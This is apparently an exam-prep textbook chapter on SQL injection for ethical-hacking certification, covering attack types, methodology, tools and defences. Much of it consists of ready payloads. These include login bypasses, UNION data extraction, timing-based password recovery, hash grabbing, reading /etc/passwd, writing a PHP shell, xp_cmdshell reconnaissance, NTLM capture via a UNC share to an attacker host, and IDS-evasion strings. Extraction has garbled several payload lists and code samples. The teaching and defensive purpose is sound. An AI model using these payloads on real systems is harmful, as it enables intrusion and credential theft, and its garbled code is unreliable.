SQL Injection - SCF Faculty Site Homepage

advertisement
SQL injection is considered as the most common website vulnerability available on the Internet.
It is a flaw in Web applications. It is not a database or webserver problem.
In this chapter, we will learn about SQL injection, SQL injection attacks, server side
technologies, and SQL injection detection. This chapter focuses on blind SQL injection, SQL
injection methodology, SQL injection tools, and defensive strategies against SQL injection
attacks.
14.1 Understand SQL injection and SQL injection black box penetration testing
Exam Focus: Understand SQL injection and SQL injection black box penetration testing.
Objective includes:





Understand SQL injection.
Examine SQL injection attacks.
Identify server side technologies.
Understand SQL injection detection.
Discuss SQL injection black box pen testing.
SQL injection attack
An SQL injection attack is a process in which an attacker tries to execute unauthorized SQL
statements. These statements can be used to delete data from a database, delete database objects
such as tables, views, stored procedures, etc. An attacker can either directly enter the code into
input variables or insert malicious code in strings that can be stored in a database.
For example, the following line of code illustrates one form of an SQL injection attack:
query = "SELECT * FROM users WHERE name = '" + userName + "';"
This SQL code is designed to fetch the records of any specified username from its table of users.
However, if the "userName" variable is crafted in a specific way by a malicious hacker, the SQL
statement may do more than the code author intended.
For example, if the attacker puts the "userName" value as ' or ''=', the SQL statement will be as
follows:
SELECT * FROM users WHERE name = '' OR ''='';
The following is an example of a normal SQL query:
Select * from mytable where user name = 'Mark' and password =`12345`;
Example: Code analysis
A user enters a user name and password that matches a record in the table. The number of
matched rows is retrieved using a dynamically generated SQL query. The user is then
authenticated and redirected to the requested page. The SQL query will look like as follows
when the attacker enters blah' or 1=1--:
SELECT Count (*) FROM
Users WHERE
UserName= 'blah' Or 1=1 -' AND Password=' '
The query simply becomes as follows because a pair of hyphens designate the beginning of a
comment in SQL:
SELECT Count(*) FROM
Users WHERE
UserName= 'blah' Or 1=1
The following is an example of SQL injection query:
Select * from mytable where user name = ''OR 1=1; --' and password=`dummy`;
The following attacks are performed by SQL injection based on the application and how it
processes user-supplied data:





Authentication bypass: In this attack, an attacker can log onto an application and gain
administrative privileges. The attacker does not even need to provide a valid username
and password.
Information disclosure: In this attack, an attacker obtains sensitive information stored in
the database.
Compromised data integrity: In this attack, an attacker defaces a webpage, inserts
malicious content into web pages, or changes the content of a database.
Compromised availability of data: In this attack, an attacker deletes the information,
deletes log, or audits information that is included in a database.
Remote code execution: In this attack, an attacker can compromise the host operating
system.
The following image shows SQL injection threats:
SQL injections
There are many SQL injection attack codes for the blind SQL injection attack, which are as
follows:









admin' -admin' #
admin'/*
' or 1=1-' or 1=1#
' or 1=1/*
') or '1'='1-') or ('1'='1-Login as different user (SM*): ' UNION SELECT 1, 'anotheruser', 'doesn't matter', 1--
Server side technologies
Developers use powerful server-side technologies like ASP.NET and database servers to create
dynamic and data-driven Web sites with incredible ease. Hackers can use SQL injection attacks
to exploit the power of ASP.NET and SQL. SQL injection attacks target websites that do not
follow secure coding practices to access and manipulate data stored in a relational database.
They do not exploit specific software vulnerability. Relational databases such as SQL Server,
Oracle, IBM DB2, and MySQL are susceptible to SQL-injection attacks.
HTTPS POST request
When a user provides information and clicks the submit button in the Account Login page, the
browser submits a string to the web server that includes the user's credentials. This string is
visible in the body of the HTTP or HTTPS POST request as follows:
SQL query at the database
select * from Users where
(username = 'mark' and
password = 'johnson');
<form action="/ cgi-bin/login" method=post>
Username: <input type=text name=username>
Password: <input
type=password name=password>
<input type=submit
value=Login>
SQL injection error messages
An attacker tries to inject codes into the input field to produce an error. He also tries to insert a
string value where a number is expected in the input field. Blind SQL injection techniques
should be used if applications do not provide detailed error messages and return a simple '500
Server Error' or a custom error page.
Characters used in an SQL injection attack
The characters used in the SQL injection attack are as follows:
Characters
Description
'or"
Character String Indicators
-- or #
single-line comment
/* */
Multiple-line comment
+
addition, concatenate
||
(double pipe) concatenate
%wildcard
attribute indicator
?
Param1=foo&Param2=barURL Parameters
PRINT
Useful as non-transactional command
@variable
Local variable
@@variable
Global variable
?Param1=foo&Param2=bar URL parameters
wait for delay '0:0:10'
Time delay
SQL injection black box penetration testing
In the SQL injection black box testing, it is assumed that no prior knowledge of the infrastructure
is to be tested. The testers must first determine the location and extent of the systems before
starting their analysis. The steps performed for the black box penetration testing are as follows:


Detecting SQL injection issues: The penetration tester sends a single quote or double
quotes to catch instances where the user input is not sanitized.
Detecting SQL modification: The penetration tester sends long string of single quote
characters or right square brackets or double quotes. These steps can max out the return
values from the REPLACE and QUOTENAME functions and might truncate the
command variable that is used to hold the SQL statements.


Detecting input sanitization: The penetration tester uses the right square bracket to
catch the instances where the user input is used as a part of a SQL identifier without any
input sanitization.
Detecting truncation issue: The penetration tester sends long strings of junk data. This
action might throw SQL errors on the page.
Methods used for detecting SQL injection
The following methods are used for detecting SQL injection:



Fuzzing testing: It is an SQL injection testing technique used for discovering coding
error. It inputs massive amount of data to crash a web application to discover codding
error.
Function testing: It falls within the scope of black box testing. It needs no knowledge of
the inner design of the code or logic.
Static/dynamic testing: It involves manual analysis of the web application source code.
Steps for SQL injection detection
Take the following steps for SQL injection detection:
1. Check if the web application connects to a database server to access some data.
2. List all input fields, hidden fields, and post requests whose values can be used to craft a
SQL query.
3. Try to inject codes into the input fields to produce an error.
4. Attempt to insert a string value where a number is expected in the input field.
5. Join a query to the original query using the UNION operator in SQL injections.
6. Execute SQL injection by using detailed error messages. Detailed error messages provide
a wealth of information to an attacker.
Testing for SQL injection
The following are some testing strings for SQL injection:
Testing Strings
Variations
'
Single code
1' or '1'='1
1') or ('1'='1
value' or '1'='2
value') or ('1'='2
1' and '1'='2
1') and ('1'='2
1' or 'ab'='a'+'b
1') or ('ab'='a'+'b
1' or 'ab'='a' 'b
1') or ('ab'='a'||'b
1' or 'ab'='a'||'b
1') or ('ab'='a'||'b
';[SQL Statement];- ');[SQL Statement];';[SQL Statement];# ');[SQL Statement];#
;[SQL Statement];- );[SQL Statement];;[SQL Statement];# );[SQL Statement];#
'; drop users1+1
3-1
value + 0
1 or 1=1
1) and (1=2
value or 1=2
value) or (1=2
1 and 1=2
1) and (1=2
1 or 'ab'= 'a'+'b'
1) or ('ab'='a'+'b'
1 or 'ab'='a' 'b'
1) or ('ab'='a' 'b
1 or 'ab'='a'||'b'
1) or ('ab'='a'||'b'
admin'--
admin')--
admin' #
admin')#
1--
1)--
1 or 1=1--
1) or 1=1--
'or'1'='1'--
') or '1'='1'--
-1 and 1=2--
-1) and 1=2--
'and'1'='2'--
') and '1'='2'--
1/*comment*/
14.2 Understand types of SQL injection and blind SQL injection
Exam Focus: Understand types of SQL injection and blind SQL injection. Objective includes:


Understand types of SQL Injection.
Understand blind SQL injection.
Types of SQL injection attacks
There are mainly three types of SQL injection attacks, which are as follows:

Simple SQL injection: In the simple SQL injection attack, a simple select query is used
in the user name and password fields. If a user with proper credentials exists, the user is
allowed to login to the system, otherwise the access is denied. The example of such an
attack is as follows:
$username = 1' or '1' = '1
$password = 1' or '1' = '1
The query will be as follows:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR
'1' = '1'
Union query: The UNION SELECT statement is used to return the union of the
intended dataset with the target dataset.
Tautology: Queries always return results upon evaluation of a WHERE condition when
injected statements are always true.
End of Line Comment: After injecting code into a particular field, end of line comments
are used to nullify the legitimate code that follows.
Illegal/logical incorrect query: An attacker can inject illegal/logical incorrect requests
such as injectable parameters, data types, names of tables, etc. in order to gain
knowledge.

Union-based SQL injection: A union operator is used in SQL injections to join a query.
It allows the hacker to obtain the values of fields of other tables. The example of the
union-based SQL injection is as follows:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
It will create the following query:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT
creditCardNumber,1,1 FROM CreditCardTable
The above query will join the result of the original query with all the credit card users.
Union SQL injection - Extract Database User
http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4-[DB USER]
Union SQL injection - Extract Database Name
http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4-[DB NAME]
Union SQL injection - Extract Database Version
http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4-[DB VERSION]
Union SQL injection - Extract Server Name
http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@SERVERNAME,3,4-[SERVER NAME]
Union SQL injection - Extract Database Tables
http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from
sysobjects where xtype=char(85)"
[TABLE NAME 1]
Union SQL injection - Extract Table Column Names
http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
DBNAME.information_schema.columns where table_name='TABLE-NAME-1'-[COLUMN NAME
1]
Union SQL injection - Extract 1st Field
http://[site]/page.asp?id=1
TABLE-NAME-1--
UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from
[FIELD 1 VALUE]
Union SQL injection - Extract 2nd Field
http://[site]/page.asp?id=1
TABLE-NAME-1--
UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from
[FIELD 2 VALUE]
Union SQL injection - Extract 3rd Field
http://[site]/page.asp?id=1
TABLE-NAME-1-[FIELD 3 VALUE]
UNION SELECT ALL 1,COLUMN-NAME-3,3,4 from

Error-based SQL injection: In the error-based SQL injection, an attacker inputs the
SQL that provides errors. The error sometimes provides the juicy information, such as
database name and table name. The attacker uses this information to hack the database.
Blind SQL injection attack
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack. It asks the
database true or false questions and determines the answer on the basis of the applications
response. This attack is generally used when the web application is configured to show generic
error messages, but has not mitigated the code that is vulnerable to SQL injection.
Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the
way the data is retrieved from the database. An attacker is forced to steal data by asking the
database a series of true or false questions when the database does not output data to the web
page. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.
Timing attack
A timing attack depends upon the SELECT IF(expression, true, false) MySQL query. It is based
on the concept that BENCHMARK() will delay server responses if the expression is True.
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) - It will execute 5000000
times the ENCODE function.
Hence, the attacker specifies high number of BENCHMARK() function repetitions, which affect
the server response time in a noticeable way.
1 UNION SELECT IF(SUBSTRING(user_password,1,1) =
CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users
WHERE user_id = 1;
If the server response was quite long, it shows that the first user password character with user_id
= 1 is character '2'.
(CHAR(50) == '2')
By using the same method, the attacker can get the entire password stored in the database.
14.3 Learn SQL injection methodology
Exam Focus: Learn SQL injection methodology. Objective includes:


Learn SQL injection methodology.
Understanding SQL query.
SQL injection methodology
There are following steps of hacking in the SQL injection attack:
1. Information gathering
2.
3.
4.
5.
6.
SQL injection vulnerability detection
Launch SQL injection attacks
Extract the data
Interact with the operating system
Compromise the network
Information gathering step
In the information gathering step of the SQL injection attack, the attacker extracts DB name,
version, users, output mechanism, DB type, user privilege level, and OS interaction level. Error
messages are necessary to extract information from the database. You can vary the attack
techniques on the basis of errors found. The attacker may craft correct SQL injection statements
by understanding the underlying SQL query. A different SQL syntax needs different databases.
The database used by the server and the privilege level used by the database should be identified.
The entire network can be compromised by interacting with the operating system via command
shell execution.
Information can be extracted via error messages in the following ways:



Grouping error: The HAVING command permits further defining a query on the basis
of the grouped fields. The columns that have been grouped are known by the error
message.
Try mismatch: Try to insert strings into numeric fields. The error messages will exhibit
the data that cannot get converted.
Blind injection: To determine extract information, use time delays or error signatures.
SQL injection vulnerability detection
In the SQL injection vulnerability detection step of the SQL injection attack, the attacker lists
all input fields, hidden fields, and post requests. The attacker checks for all three types of SQL
injection attacks, i.e., simple SQL injection attack, union-based SQL injection attack, and errorbased SQL injection attack. An attacker tries to inject codes into the input fields in order to
generate an error.
Launching of SQL injection attacks
In the launching of SQL injection attacks step of the SQL injection attack, the attacker
performs one of the following attacks:
1. Simple SQL injection
2. Error-based SQL injection
3. Union-based SQL injection
Extraction of the data
In the extraction of the data step of the SQL injection attack, the attacker extracts table names,
columns, and table data.
Interaction with the operating system
In the interaction with the operating system step of the SQL injection attack, the attacker
penetrates additional machines on the network, installs Trojans and plants keyloggers.
Compromise the network
In the compromise the network step of the SQL injection attack, the attacker extracts OS and
application passwords. He also accesses system files and executes commands interacting with
OS.
SQL query
Generally, the error messages will show you the DB engine you are using. ODBC errors will
exhibit database type as part of the driver information. You can make an educated guess on the
basis of the operating system and web server if you do not receive any ODBC error message.
You should try to replicate an error free navigation. It can be as simple as ' and '1' = '1' or ' and '1'
= '2.
Prepared SQL statements
A prepared SQL statement is a template of an SQL statement that has been pre-parsed and
compiled previously, and is ready to be executed by passing the accurate data to it. The
parameters of prepared SQL statements are not being quoted since the driver automatically does
this always. Hence, the prepared statements not only reduce the process criteria of developing the
same SQL queries too many times, but also reduce the possibilities of SQL injection attacks. In
the prepared statements, a placeholder can only store the value of the given type and not the
arbitrary SQL fragment. Hence, the SQL injection would simply be treated as a strange (and
probably invalid) parameter value.
mysql_real_escape_string
The mysql_real_escape_string() function is used to escape special characters in a string for use in
a SQL statement. It therefore makes data safe before sending the query to MYSQL. For example,
a user runs the following PHP script:
<?php $name = mysql_real_escape_string($_POST["name"]); $password =
mysql_real_escape_string($_POST["password"]); ?>
where the mysql_real_escape_string() function escapes all special characters such as \x00, \n, \n,
\, ', ", and \x1a from strings $_POST["name"] and $_POST["password"]. Hence, the danger of
the SQL injection attack is mitigated.
Bypass website logins using SQL injection
You should try these at website login forms:
admin' admin' #
admin' /*
' or 1=1-' or 1=1#
' or 1=1/*
' ) or '1'='1"
') or ('1'='1--
Login as a different user:
' UNION SELECT 1,
'anotheruser',
'doesn't matter', 1--
You can union the results with a known password and MD5 hash of the supplied password. Your
password will be compared with the supplied MD5 hash by the web application.
Bypassing MD5 hash check, example:
Username : admin
Password : 3456 ' AND 1=0 UNION ALL SELECT 'admin',
'81hj8bjk45nb4ljvhgdnjkjjk5454nkjhj543kjjh89bjhbh88989 = MD5 (3456)
Features of different DBMSs
The following are the features of different DBMSs:
MySQL
MSSQL
MS
Oracle DB2 PostgreSQL
Access
"
concat
"
' '||' '
" "+" "
' '||' '
String Concatenation
concat(,)
concat_ws(delim,)
' '+' '
Comments
-- and/**/and #
-- and /* No
-- and
/*
--
-- and /*
Request Union
union
union
and ;
union
union
union
union and ;
Sub-requests
v.41 > =
Yes
No
Yes
Yes
Yes
Stored Procedures
No
Yes
No
Yes
No
Yes
Yes
Yes
Yes
Yes
Yes
Availability of
information_schema or its v.5.0>=
analogs
Creating a database account
A database account can be created in the following ways:
Microsoft SQL Server
exec sp_addlogin 'mark', 'user456'
exec sp_addsrvrol emember 'mark',
'sysadmin'
" "&" " ' '||' '
Oracle
CREATE USER mark IDENTIFIED BY user456
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO mark;
GRANT RESOURCE TO mark;
MySQL
INSERT INTO mysql.user
(user, host, password)
VALUES ('mark', 'localhost', PASSWORD ('user456'))
Microsoft Access
CREATE USER mark
IDENTIFIED BY 'user456'
14.4 Examine advanced enumeration, describe password grabbing, and discuss grabbing SQL
Server hashes
Exam Focus: Examine advanced enumeration, describe password grabbing, and discuss grabbing
SQL Server Hashes. Objective includes:



Examine advanced enumeration.
Describe password grabbing.
Discuss grabbing SQL Server hashes.
Password grabbing
An attacker runs the following query for password grabbing:
'; begin declare @var varchar(8000)
set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login
> @var select @var as var into temp end -' and 1 in (select var from temp)-' ; drop table temp --
Advanced enumeration
Enumeration is used to gather information to gain access of the system. The attacker may try this
by guessing usernames and passwords, sniffing password hashes, and exploiting vulnerabilities.
You must review your previous enumeration findings to guess usernames and passwords.
Enumeration may have returned router configurations with passwords that can be cracked, or
user accounts that appear to have default or no passwords.
Database, table, and column enumeration
Several SQL built-in scalar functions are available. They will be used in most SQL
implementation:
user or current_user, session_user, system_user
' and 1 user ='dbo' waitfor delay '0:0:5 '-' union select if ( user() like 'root@%',
benchmark (50000, shal1 ('test')), 'false' );
Default administrators include the following:






sa
system
sys
dba
admin
root
The dbo is a user that has implied permissions in order to carry out all activities in the database.
Any object created by any member of the sysadmin fixed server role belongs to dbo
automatically.
To determine table and column names:
' group by columnnames
having
1=1 --
To discover column name types:
' union select sum (columnname ) from tablename --
To enumerate user defined tables:
' and 1 in (select min(name) from sysobjects
'.') --
Grabbing SQL Server hashes
The following query is used to extract the hashes:
SELECT password FROM master. . sysxlogins
The following queries are executed to hex each hash:
begin @charvalue='0x', @i=1,
@length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int,
@firstint int, @secondint int
select @tempint=CONVERT
(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR
(@tempint/16)
where xtype = 'U' and name >
select @secondint=@tempint (@firstint*16)
select @charvalue=@charvalue +
SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1,
1)
select @i=@i+1 END
Then, a user is required to cycle via all passwords and use the following SQL query:
SELECT name, password FROM sysxlogins
Convert hashes -> Hex -> concatenate to display the hashes via an error message. dbo access is
required by password fields. With lower privileges, a user can still recover usernames and brute
force the password.
The following is the SQL server hash sample:
0 010034767d5c0cfa5fdca28c4a5
6085e65e882e71cb0ed2503412fd5
4d6119fff04129a1d72e7c3194f72
84A7f3A
To extract hashes via error messages:
'
'
'
'
and 1 in (select x from temp) -and 1 in (select substring (x, 256, 256) from temp) -and 1 in (select substring (x, 512, 256) from temp) drop table temp --
Bypassing MD5 hash login check
An attacker can bypass the MD5 hash login check. For this, the attacker unions results with a
known password and MD5 hash of supplied password. The example of bypassing MD5 hash
login check is as follows:
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Bypassing SQL Server -sp_password log
SQL Server does not log queries, which include sp_password for security reasons. So if an
attacker adds --sp_password to the SQL queries, SQL queries will not be stored in the SQL
Server logs. However, Web servers log the queries.
Potentially useful MySQL injection functions
The potentially useful MySQL injection functions are as follows:
1. MD5(): It is used for MD5 hashing.
2. SHA1(): It is used for SHA1 hashing.
3. PASSWORD(): It is used for default password hash of MySQL server.
4. ENCODE(): It is used for encoded password.
5. COMPRESS(): It is used to compress data. It can be great in large binary reading in
Blind SQL Injections.
6. ROW_COUNT(): It is used to count number of rows return.
7. VERSION(): It is used to detect the version of the MySQL server.
Forcing MySQL server to get NTLM hashes
Using the SQL injection attack, an attacker can get SQL Server user's Windows password of the
target server. In this approach, the attacker forces SQL Server to connect to Windows UNC
Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from '\\IPADDRESS\C$\x.txt'
Transfer database to attacker's machine
OPENROWSET can be used to link the SQL Server to the attacker's DB. The DB structure is
replicated and data is transferred by connecting to a remote machine on port 80.
Interacting with the FileSystem
The LOAD_FILE() function in MySQL is used for reading and returning the content of a file
that are within the MySQL server.
The INTO OUTFILE() function in MySQL is generally used for running a query, and dumping
the results into a file.
The injection will display the contents of the passwd files if the following query runs
successfully:
NULL UNION ALL SELECT LOAD_FILE ( '/etc/passwd' ) /*
System commands can be run through the $_GET global if the following query runs
successfully:
NULL UNION ALL SELECT NULL, NULL, NULL, '<?php'
/var/www/juggyboy.com/shell.php'/*
Network connectivity is necessary to expand the influence into the operating system. This can be
accomplished using different types of techniques. To run OS level networking commands, the
database can be interrogated for the server name and xp_cmdshell can be used. Reverse
connections can also be used as they give information about the remote IPs or even permit us to
upload files.
The following can be executed using the xp_cmdshell command:



Ipconfig /all
Tracert myIP
arp -a



nbtstat -c
netstat -ano
route print
A very detailed network configuration can be retrieved by executing these commands. The
following statements can be executed to execute network reconnaissance in simple steps:





'; declare @var varchar(256); set @var = ' del test.txt
&& arp -a >> test.txt && ipconfig /all >> test.txt &&
nbtstat -c >> test.txt && netstat -ano >> test.txt &&
route print >> test.txt && tracert -w 10 -h 10 google.com
>> test.txt'; EXEC master..xp_cmdshell @var '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM
'test.txt' '; begin declare @data varchar(8000) ; set @data=': ' ;
select @data=@data+txt+' | ' from tmp where txt<@data ;
select @data as x into temp end -' and 1 in (select substring(x,1,255) from temp) '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
14.5 SQL injection tools
Exam Focus: SQL injection tools. Objective includes:



Absinthe
SQLMap
BobCat
SQL injection tools
The following are SQL injection tools:
















SQL Brute
Absinthe
BobCat
SQL Injection Brute-forcer
Sqlninja
SQLMap
SQLGET
SQL Injection Digger
Pangolin - Automatic SQL Injection Penetration Testing Tool
sqlbf
FJ-Injector Framework
Exploiter (beta)
SQLIer
NGSSQuirrel
Sqlsus
SQLEXEC() Function
Absinthe
Absinthe is an automated tool that is used to implement SQL injections and to retrieve data from
Web server databases. The following are the features of Absinthe:






It supports Web application injection parameters.
It supports SQL injections on various databases, i.e., MS SQL Server, MSDE, Oracle,
and Postgres.
It supports cookies and additional HTTP Headers.
It supports additional text appended to queries.
It supports the use of Proxies/Proxy Rotation.
It supports multiple filters for page profiling and custom delimiters.
BobCat
BobCat is a tool that is used to aid an auditor in taking full advantage of SQL injection
vulnerabilities. It is based on AppSecInc research. It can display a list of linked servers and
database schema. It allows the retrieval of data from any table that the current application user
has access to.
SQLMap
SQLMap is an automatic blind SQL injection tool. It can perform an active database
management system fingerprint, enumerate entire remote databases, and much more. SQLMap is
used to implement a fully functional database management system tool that takes advantages of
Web application programming security flaws, which lead to SQL injection vulnerabilities.
SQLID
SQLID (SQL Injection digger) is a command-line program that is used to look for SQL
injections and common errors in a website. The following tasks can be performed by SQLID:


Looking for SQL injection in Web pages
Testing submit forms for possible SQL injection vulnerabilities
FG-Injector
FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities
in Web applications. It contains a proxy feature to intercept and modify HTTP requests and an
interface for automating SQL injection exploitation.
NGSS SQL Injector
NGSS SQL Injector is a tool that is used to exploit vulnerabilities in SQL injection on dissimilar
database servers for gaining access to stored data. The following databases are supported by
NGSS SQL Injector:


Access
DB2





Informix
MSSQL
MySQL
Oracle
Sybase
SQL Power Injector
SQL Power Injector is an application created in .Net 1.1. It is an automated SQL injection tool. It
helps the penetration tester to find and exploit SQL injections on a web page. For now it is SQL
Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it can be used with any
existing DBMS when using the inline injection (Normal mode). SQL Power Injector detects
predefined SQL errors in the response page.
Marathon
A malicious user can use the marathon tool to send heavy queries to perform time-based blind
SQL injection attack. The following are application supported features:








Database Schema extraction from SQL Server, Oracle and MySQL
Data extraction from Microsoft Access 97/2000/2003/2007 databases
Parameter Injection using HTTP GET or POST
SSL support
HTTP proxy connection available
Authentication methods: Anonymous, Basic, Digest and NTLM
Variable and value insertion in cookies (Does not support dynamic values)
Configurable Log
Havij
An attacker can use the Havij tool for the following purposes:






Perform back-end database fingerprint.
Retrieve DBMS user and password hashes.
Dump tables and columns.
Fetch data from the database.
Run SQL statements.
Access the underlying file system and execute commands on the operating system.
BSQLHacker
BSQLHacker is an automated SQL injection tool. It supports the following:




Blind SQL injection
Time-based blind SQL injection
Deep blind SQL injection
Error-based SQL injection
SQL injection detection tools
The following are the SQL injection detection tools:





Microsoft Source Code Analyzer: It is a static code analysis tool that is used to find
SQL Injection vulnerabilities in ASP code.
Microsoft UrlScan: It is a tool that prevents certain types of specific HTTP requests
from reaching an IIS server.
dotDefender: It is used to provide plug-and-play protection against SQL Injection,
Cross-site scripting, Path Traversal, and many other application attacks.
IBM AppScan: It is used to manage vulnerability testing throughout the software
development life cycle.
SQLDict: It is a dictionary attack tool for SQL Server. It allows a user to test if the
accounts are strong enough to resist an attack or not.
14.6 Understand defensive strategies against SQL injection attacks
Exam Focus: Understand defensive strategies against SQL injection attacks. Objective includes:


Understand defensive strategies against SQL injection attacks.
Understand evasion techniques for SQL injection.
Defending against SQL injection attacks
The following actions are taken to defend against SQL injection attacks:














Database service account with minimal rights should be run.
Commands such as xp_cmdshell should be disabled.
All error messages should be suppressed.
Custom error messages should be used.
Web applications are vulnerable to SQL injection attacks.
An IDS, WAP should be used to monitor DB traffic.
Low privileged accounts should be used for DB connection.
All client data should be filtered.
Data should be sanitized.
No assumptions should be made about the size, type, or content of the data received by
the application.
The size and data type of input should be tested and appropriate limits should be enforced
to prevent buffer overruns.
The content of string variables should be tested and only expected values should be
accepted.
Entries that include binary data should be rejected, sequences should be escaped, and
characters should be commented.
Transact-SQL statements should never be built directly from user input and stored
procedures should be used to validate user input.


Multiple layers of validation should be implemented and user input that is not validated
should never be concatenated.
Type-safe SQL parameters should be used to defend against SQL injection attacks.
Types of signature evasion techniques
The following are types of signature evasion techniques:





Sophisticated matches: It uses alternative expression of "OR 1=1".
Hex encoding: It uses hexadecimal encoding for representing a SQL query string.
Manipulating white spaces: It drops white space between SQL keyword for obscuring
input strings.
Obfuscated code: It is an SQL statement that has been made difficult to understand.
White spaces manipulation technique obfuscates input strings. It drops or adds white
spaces between SQL keyword and string or number literals. It does this without altering
executions of SQL statements.
An SQL statement become completely untraceable without changing the execution of the
statement when white spaces are added using special characters such as tab, carriage
return or linefeeds.
In-line comment: It obscures input strings. It inserts in-line comments between SQL
keywords. To delimit multirow comments, /* */ is used.
For example:
UNION/**/SELECT/**/'/**/OR/**/1/**/=/**/1


Char encoding: It uses built-in CHAR function to represent a character. The Char ()
function can be used for injecting SQL injection statements into MySQL without using
double quotes.
String concatenation: It concatenates text for creating SQL keyboards using DB specific
instructions.
Sophisticated matches
The following are SQL injection characters:
SQL injection characters
Description
' or '
Character String Indicators
-- or #
Single-line comment
/* */
Multiple-line comment
+
addition, concatenate (or space in url)
||
(double pipe) concatenate
%
Wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT
Useful as non-transactional command
@variable
Local variable
@@variable
Global variable
wait for delay '0:0:10'
Time delay
Evading ' OR 1=1 signature involves:








' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 9 > 8
' OR 'text' > 't'
' OR 'whatever' IN ('whatever')
' OR 7 BETWEEN 8 AND 9
MySQL Input Validation Circumvention using Char()

Inject without quotes (string = "%"):
' or username like char(37);

Inject without quotes (string = "root"):
' union select * from users where login = char(114,111,111,116);

Load files in unions (string = "/etc/passwd"):
' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

Check for existing files (string = "n.ext"):
' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
Evading IDS
Attackers use evasion techniques to obscure input strings from being detected by signature based detection systems. Signature-based detection systems make a database of SQL injection
attack strings (signatures) and then compare input strings against the signature database at
runtime in order to detect attacks.
Countermeasures against database attacks
The following are the countermeasures against database attacks:







Input Sanitization: The Database Administrator must sanitize any input received from a
user. The data submitted should be checked for data type (integer, string, and so on) and
stripped of any undesirable characters, such as meta-characters.
Adherence to strong firewall rules: Be sure to check firewall rules from time to time
and always block any database access ports, such as TCP and UDP 1434 (MS SQL) and
TCP 1521-1530 (Oracle).
Modification of error reports: To avoid a SQL injection, the developer should handle
or configure error reports in such a way that the error is not visible to outside users. In
these error reports, a full query is sometimes shown, pointing to the syntax error
involved, and the attacker could use it for further attacks. A display of errors should be
restricted only to internal users.
Stored procedure removal: Be sure to remove all stored procedures (including extended
stored procedures) from the entire database. These seemingly innocent scripts can help an
attacker topple even the most secure databases.
Session encryption: When a database server is separate from a Web server, be sure to
encrypt the session stream using any method, such as using IPSec native to Windows
2000.
Least privilege: The default system account (sa) for SQL Server 2000 should never be
used.
Escape quotes: Replace all single quotes with two single quotes.
SQLMap
SQLMap is an automatic blind SQL injection tool. It can perform an active database
management system fingerprint, enumerate entire remote databases, and much more.
SQL Power Injector
SQL Power Injector is an application created in .Net 1.1. It is an automated SQL injection tool. It
helps the penetration tester to find and exploit SQL injections on a web page.
Chapter Summary
In this chapter, we learned about SQL injection, SQL injection attacks, server side technologies,
and SQL injection detection. This chapter covered blind SQL injection, SQL injection
methodology, SQL injection tools, and defensive strategies against SQL injection attacks.
Glossary
Absinthe
Absinthe is an automated tool that is used to implement SQL injections and to retrieve data from
Web server databases.
FG-Injector
FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities
in Web applications.
NGSS SQL Injector
NGSS SQL Injector is a tool that is used to exploit vulnerabilities in SQL injection on dissimilar
database servers for gaining access to stored data.
SQL injection
SQL injection is a code injection technique that exploits a security vulnerability occurring in the
database layer of an application (like queries).
Timing attack
A timing attack depends upon the SELECT IF(expression, true, false) MySQL query. It is based
on the concept that BENCHMARK() will delay server responses if the expression is True.
Download